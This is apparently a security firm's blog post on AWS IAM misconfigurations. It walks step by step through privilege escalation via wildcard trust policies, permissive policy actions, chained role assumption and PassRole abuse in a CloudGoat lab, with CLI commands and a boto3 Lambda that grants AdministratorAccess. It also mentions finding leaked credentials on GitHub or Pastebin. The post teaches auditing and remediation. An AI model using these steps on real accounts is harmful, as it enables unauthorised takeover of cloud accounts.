AWS IAM Misconfiguration

Exploiting IAM Vulnerabilities in AWS

In this blog, we are going to discuss various IAM flaws found in AWS Cloud with the help of various case scenarios which could be found during an AWS Audit. This blog is mainly for people who are interested in Cloud Security & Penetration Testing.

Now before getting started, we would be discussing some key definitions which would be used in this blog.

IAM Trust Policy: It is a JSON Document in which you define the IAM principals that you can trust to assume the role. The IAM principles that can be specified in the trust policy include users, roles, accounts, and services.
Example of Misconfigured Trust Policy:

    "Statement": [
                        "Effect": "Allow",
                        "Principal": {
                            "AWS": "*"
                        "Action": "sts:AssumeRole",
                        "Condition": {}

IAM Inline Policy: It is also a JSON-based IAM policy that can attach an IAM entity such as user, group, or role. This policy is unique to the IAM entity and it maintains a one-one relationship with the IAM principal & the associated policy.

Permission Policy: It defines permissions in which you define what actions and resources the role can use within IAM Trust Policy.

Assume Role: An Assume Role operation is defined where the IAM User makes an Assume Role API call to STS Service in order to assume a role. The STS Service in combination with IAM, checks whether the user has rights to assume a specific role and also provides the temporary security credentials in terms of AWS Access Key, Secret Key & Session Token to make the API calls on behalf of the federated user or role which is to be assumed.

Pass Role: There might be a need to pass a role within various AWS Services. The Pass Role operation allows the IAM user to pass any role to a specific AWS Service after the service has been set up. In normal cases, we pass a role when service is under provision. In order to pass a role to an AWS service, a user must have permissions to pass the role to the service. This helps administrators ensure that only approved users can configure a service with a role that grants permissions. To allow a user to pass a role to an AWS service, you must grant the PassRole permission to the user’s IAM user, role, or group.

IAM Permission Boundary: The Permission Boundary is defined as the maximum permission an IAM entity can have within its IAM Policy. The permission boundary is only applied to an IAM user or role, not an IAM group. It limits the action for the users/roles so that they cannot perform any privileged action on the AWS Services.

AWS Enumeration:

In this section, we are going to cover multiple IAM Commands to be run during an AWS Audit.

  • Finding IAM Users: aws iam list-users
  • Finding IAM Groups: aws iam list-groups
  • Finding IAM Roles & IAM Trust Policy: aws iam list-roles
  • Finding IAM Identity: aws sts get-caller-identity
  • Finding IAM User Attached Policies: aws iam list-attached-user-policies --user-name devansh
  • Finding IAM User Inline Policies: aws iam list-user-policies --user-name devansh
  • Finding IAM Group Attached Policies: aws iam list-attached-group-policies --group-name Production
  • Finding IAM Group Inline Policies: aws iam list-group-policies --group-name Production
  • Finding IAM Role Attached Policies: aws iam list-attached-role-policies --role my-first-ec2-role
  • Finding IAM Role Inline Policies: aws iam list-role-policies --role my-first-ec2-role
  • Finding all the IAM Role Policies : aws iam list-policies
  • Viewing any IAM Policy: aws iam get-policy --policy-arn policy-ARN
  • Viewing specific version of Policy: aws iam get-policy-version --policy-arn policy-arn --version-id v1
  • Assume Role: aws sts assume-role --role-arn role-arn --role-session-name test

Now, finally coming to the last section of the blog, we would discuss vulnerabilities found during an AWS Audit. Before coming to the vulnerability section, as per the audit is concerned, we need to configure the IAM Credentials before making any API Calls to any of AWS Services. The most common way to find an AWS Credentials is on Github/Pastebin or by using Google Dorks.

So before getting started, we need to configure the AWS Credentials using the following Command:
aws configure --profile test

IAM Vulnerabilities:

The common vulnerabilities found on IAM are as follows:

  1. Misconfigured Trust Policy
  2. Overly Permissive Permission Policy
  3. Dangerous Policy Combination
  4. Pass Role

Misconfigured Trust Policy:

The Vulnerability arises due to misconfigured IAM Trust Policy in which the attacker assumes the role and tries to perform the privileged operation on any AWS Resources such as access an S3 Buckets or Launching EC2 instance which might be doing crypto mining on your infrastructure. The vulnerabilities occur in the IAM Trust Policy itself because the policy allows any Principal or IAM entity such as user, role, group to assume a role and access the resources.

Example of Trust Policy:

  "Version": "2012-10-17",
  "Statement": [
      "Effect": "Allow",
      "Principal": {
        "Service": ""
      "Action": "sts:AssumeRole"

Components of Trust Policy:

  1. Version:It determines the Policy Language Version being used.
  2. Statement: It contains all neccessary conditions for the IAM Trust Policy
  3. Effect: It determines the natue of Policy. Either Allows or Deny.
  4. Principal: The Principa; determines which IAM Entity can assume the role.
  5. Service: It determines which service can assume the role. Here EC2 service can use this role.
  6. Action: Its determines what kind of API calls are allowed within the IAM Trust Policy after the role has being assumed.

Steps To Reproduce:

  • After configuring the AWS credentials. The first step is to identify who is issuing the API calls.
    Command: aws sts get-caller-identity

  • Then we would be listing all the roles in AWS account & identify IAM Trust Policy associated were Principal states:
    Command: aws iam list-roles

  • Finally, we can see a role name s3role which is misconfigured, and it allows any AWS Entity to assume this role and perform any arbitrary actions specified within its IAM Policy.

  • Now we would check the IAM Role Policy for the s3 role and identity what we can do after assuming the role. As we can see, after assuming this role, we have full access to AWS S3 buckets which can be quite useful for an attacker.
    Command: aws iam list-attached-role-policies --role-name s3role

  • Finally, we assume this role using STS Assume Role operation and configure the security credentials associated with it as an environment variable. The credentials can be configured in the config file of ~/.aws or using the export command.
  • Now we finally call STS service to identify our session on this AWS account. We can finally see that we have assumed the role of s3role.

  • Finally, we would now try to list all the buckets in the AWS account using aws cli, and we would also retrieve the flag in secret-bucket-with-flag.
    Command: aws s3 ls

Command: aws s3 ls s3://secret-bucket-with-flag


The company must properly configure the IAM Trust Policy for roles in which the only specific IAM entities can assume the role. The * character in the principal makes the policy very permissive.

Overly Permissive Permission Policy:

This type of misconfiguration allows the attacker to add/delete/update or modify the IAM Policy of the IAM user, group, role, which might lead to Privilege Escalation allowing Administrator Access on the Account. The issue here arises in the JSON Policy Document of the IAM Entity, which due to being overly permissive, the user can attach any policies within the AWS Account.

Steps To Reproduce:

  • We would configure the AWS Credentials for the user called attacker.
    Command: aws configure --profile attacker
  • Now we would use STS to verify our identity on the AWS Account. Then we would list the managed AWS Policies being associated with the user.
    Command: aws sts get-caller-identity

Command: aws iam list-attached-user-policies --user-name attacker --profile attacker

  • We find a Policy name Attach-User-Policy, as the name suggests, it might allow the attacker to attach a managed policy within the AWS Account. So we now try to get the policy and read it.
    Command: aws iam get-policy --policy-arn arn:aws:iam::290338565208:policy/Attach-User-Policy --profile attacker

  • Now we try to list the policy with a specific version & also check permission within IAM Policy.
    Command: aws iam get-policy-version --policy-arn arn:aws:iam::290338565208:policy/Attach-User-Policy --version-id v2 --profile attacker

  • Now by checking the policy, we attach the policy to the user, so as an attacker point, we would be attaching the Administrator Policy to escalate our privileges.
    Command: aws iam list-policies | grep "Administrator"

  • Now finally, we attach the Administrator Policy to the attacker user and gain privileged access within the AWS Account.
    Command: aws iam attach-user-policy --user-name attacker --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile attacker

Finally, we now try to check our updated policy & in order to confirm that we have Administrator access, we will create a user name:manager.
Command: aws iam list-attached-user-policies --user-name attacker --profile attacker

Command: aws iam create-user --user-name manager --profile attacker

Remediation: Never Allow any IAM entity to Add,Modify,Update,Delete Policy within the AWS Account. Some of the Examples of Overly Permissive Policies are:

  • iam:PutGroupPolicy
  • iam:CreatePolicyVersion
  • iam:PutRolePolicy
  • iam:SetDefaultPolicyVersion
  • iam:PutUserPolicy
  • iam:AddUserToGroup
  • iam:AttachGroupPolicy
  • iam:CreateLoginProfile
  • iam:AttachRolePolicy
  • iam:UpdateLoginProfile
  • iam:AttachUserPolicy
  • iam:CreateAccessKey

Dangerous Policy Combination:

This vulnerability arises due to multiple misconfigurations in IAM Trust Policy & and their associated IAM Policies. The attacker is able to assume a role due to poor configuration of trust policy and perform privileged operations on behalf of the role. For example:

Consider IAM User assumes Role1 and has permission to add a user to any group.The User again assumes Role2 and has permission to add or attach a policy to a group.

So in this scenario, the attacker can add Administrator Access To Group, and himself become Admin within the account. He can perform any arbitrary action as an attacker on the account.

Steps To Reproduce:

  • Configure the Security Credentials for AWS Account.
    Command: aws configure --profile attacker
  • Now we list roles in the AWS Account.
    Command: aws iam list-roles --profile attacker

  • We can see 2 roles which are addition & attach-to-group, which allow any IAM entity to assume a role. We can see the trust policy also within the roles.

  • Now we try to check their respective policies and see what we can do after assuming the role.
    Command:: aws iam list-role-attached-policies –role-name addition –profile attacker
    Command: aws iam list-role-attached-policies --role-name attach-to-group --profile attacker

  • After that, we would get their respective policy content & identity the operation that can be performed by assuming the roles.
    Command: aws iam get-policy-version --policy-arn arn:aws:iam::290338565208:policy/Add-User-To-Group --version-id v1 --profile attacker

Command: aws iam get-policy-version --policy-arn arn:aws:iam::290338565208:policy/attach-group-policy --profile attacker --version-id v1

  • After reviewing the role policies, we can perform multiple operations: adding a user to group & finally, the user can attach a policy to group leading privilege escalation.
  • Now we would be assuming roles multiple times and perform operations in order to get Admin Access.
    Command: aws sts assume-role --role-arn arn:aws:iam::290338565208:role/addition --role-session-name test --profile attacker

  • Add credentials and run the following command:
    Command: aws sts get-caller-identity

  • Now add the user attacker to Production Group using the following command:

Command: aws iam add-user-to-group --group-name Production --user-name attacker

  • Now after adding the user attacker to group Production. We will check the IAM Policy for group Production & verify if a user has been added to the group.
    Command: aws iam list-groups-for-user --user-name attacker --profile attacker

Command: aws iam list-attached-group-policies --group-name Production --profile attacker

  • Now again assume the role attach-to-group using STS service using the following command:
    Command: aws sts assume-role --role-arn arn:aws:iam::290338565208:role/attach-to-group --role-session-name test --profile attacker

  • After configuring the credentials, we would now use the STS service to verify the role that we have assumed.
    Command: aws sts get-caller-identity

  • The role has been assumed, and now we can attach the Administrator Policy to the Group, which will provide complete admin access to the attacker account.
    Command: aws iam attach-group-policy --group-name Production --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile attacker

  • Finally, to confirm the Administrator Access, we would now check the IAM Policy of the group Production.
    Command: aws iam list-attached-group-policies --group-name Production --profile attacker

Remediation: Always have well configured IAM Trust Policy & IAM Policies being attached to roles in the AWS Account. The Trust Policy & IAM Policies being very permissive in nature allowed attackers to escalate its privileges.


This type of Misconfiguration occurs because the IAM user/role has permission to pass the role to AWS Services. Due to misconfigured IAM Policy, the user is able to pass any role or service roles due which the attacker can use the role to escalate its privileges.
For Example:) User A has Pass Role Permission to service Lambda. Now the attacker can attach the role to lambda service & use role permission to give the IAM user in AdministratorAccess by attaching the policy during Lambda Service Invocation using AWS CLI.

Steps To Reproduce:

  • We would be using CloudGoat for this practical. Now to launch the challenge, we would use the following command: We need to configure the IAM Credentials for this challenge after it has been created.
    Command: python3 create lambda_privesc

    • Now, the cloudgoat environment creates a user chris-cgidqd4hqynmdc. Now to check its policies, we would use the following command:
      Command: aws iam list-attached-policies --user-name chris-cgidqd4hqynmdc --profile l

  • Now we would get the policy & read its contents using the following commands:
    Command: aws iam get-policy --policy-arn arn:aws:iam::290338565208:policy/cg-chris-policy-cgidqd4hqynmdc --profile l

Command: aws iam get-policy-version --policy-arn arn:aws:iam::290338565208:policy/cg-chris-policy-cgidqd4hqynmdc --version-id v1 --profile l

  • After this step, now we can see that user chris-cgidqd4hqynmdc can assume the role. So now, we will try to list all the roles in the account.
    Command: aws iam list-roles --profile l

  • Now we can see the role name cg-lambdaManager-role-cgidqd4hqynmdc has a trust policy to allow user chris-cgidqd4hqynmdc to assume the role. Now we are checking this role policy to understand what we can do as an attacker.
    Command: aws iam list-attached-role-policies --role-name cg-lambdaManager-role-cgidqd4hqynmdc --profile l

Command: aws get-policy-version --policy-arn arn:aws:iam::290338565208:policy/cg-lambdaManager-policy-cgidqd4hqynmdc --version-id v1--profile l

  • We would assume the role of cg-lambdaManager-cgidqd4hqynmdc using the STS Assume Role operation.
    Command: aws sts assume-role --role-arn arn:aws:iam::290338565208:role/cg-lambdaManager-role-cgidqd4hqynmdc --role-session-name test --profile l

  • Now we would finally configure the credentials and use the STS service to confirm access as role lambda Manager.
    Command: aws sts get-caller-identity

  • Now we would list all the roles because in the role policy of the lambda manager, we can pass the role and perform any actions on the lambda function using the role.
    Command: aws iam list-roles --profile l

  • Now, after analyzing the roles, we can see that there is a service role:debug -role, which can be attached to the lambda function as its lambda service role.
  • We will now check the IAM Policy for this role to understand what we can do when we create a lambda function and pass this role to the lambda service.
    Command: aws iam list-attached-role-policies --profile l --role-name cg-debug-role-cgidqd4hqynmdc

  • The cg-debug-role-cgidqd4hqynmdc has Administrator Access being specified in the IAM Policy. So now, to escalate our privileges, we would be creating a Lambda Function and we would be passing this cg-debug-role-cgidqd4hqynmdc role to Lambda service. In the Lambda function, we would be using python runtime using a botocore library to attach the Administrator Access to user Chris as the cg-debug-role-cgidqd4hqynmdc role has Administrative Access enabled in its IAM Policy.
  • Function Runtime Environment: Python 3.6
  • Python Library: boto3
  • File Name:
  • Function Code:
 import boto3
    def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(UserName = 'chris-cgidqd4hqynmdc', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
    return response
  • Lambda function’s code consists of scripts or compiled programs and their dependencies. You use a deployment package to deploy your function code to Lambda. Lambda supports two types of deployment packages: container images and .zip file archives. So we would zip the lambda function code using the following command:
    Command: zip
  • Now use the following command to create lambda function with the following parameter being given the command below:
    Command: aws lambda create-function –function-name admin_function –runtime python 3.6 –role-arn arn:aws:iam::290338565208:role/cg-debug-role-cgidqd4hqynmdc –handler lambda.lambda_handler –zip-file fileb:// –profile l –region ap-south-1

  • Now we need to invoke the lambda function to start its execution using the following command:
    aws lambda invoke --function-name admin_function out.txt --profile l --region ap-south-1

  • Now to confirm that the user chris has Administrative access, we can now check its IAM Policy using the command: aws iam list-attached-user-policies --user-name chris-cgidqd4hqynmdc --profile l

  • Finally, the user chris has escalated its privilege to Admin Access using PassRole Misconfiguration.

Remediation: Ensure that while passing, the role should not allow the attacker to perform a privilege escalation attack either by controlling IAM Actions to be performed after the role has been passed or using the least privilege concept on Role Policy.

References :

About Payatu

Payatu is a boutique security testing and services organization specialized in Products, Application, and Infrastructure security assessments and deep technical security training. We offer a full IoT ecosystem security assessment, including Hardware, Cloud, Web, and Mobile interface.

Get in touch with us. Click on the get started button below.

Subscribe to our Newsletter

Fill in your details and get your copy of sample report in few seconds


Fill in your details and get your copy of sample report in few seconds


Fill in your details and get your copy of sample report in few seconds


Fill in your details and get your copy of sample report in few seconds


Fill in your details and get your copy of sample report in few seconds


Fill in your details and get your copy of sample report in few seconds


Fill in your details and get your copy of sample report in few seconds


Fill in your details and get your copy of sample report in few seconds


Fill in your details and get your copy of sample report in few seconds


Fill in your details and get your copy of sample report in few seconds

Let’s make cyberspace secure together!


What our clients are saying!

Trusted by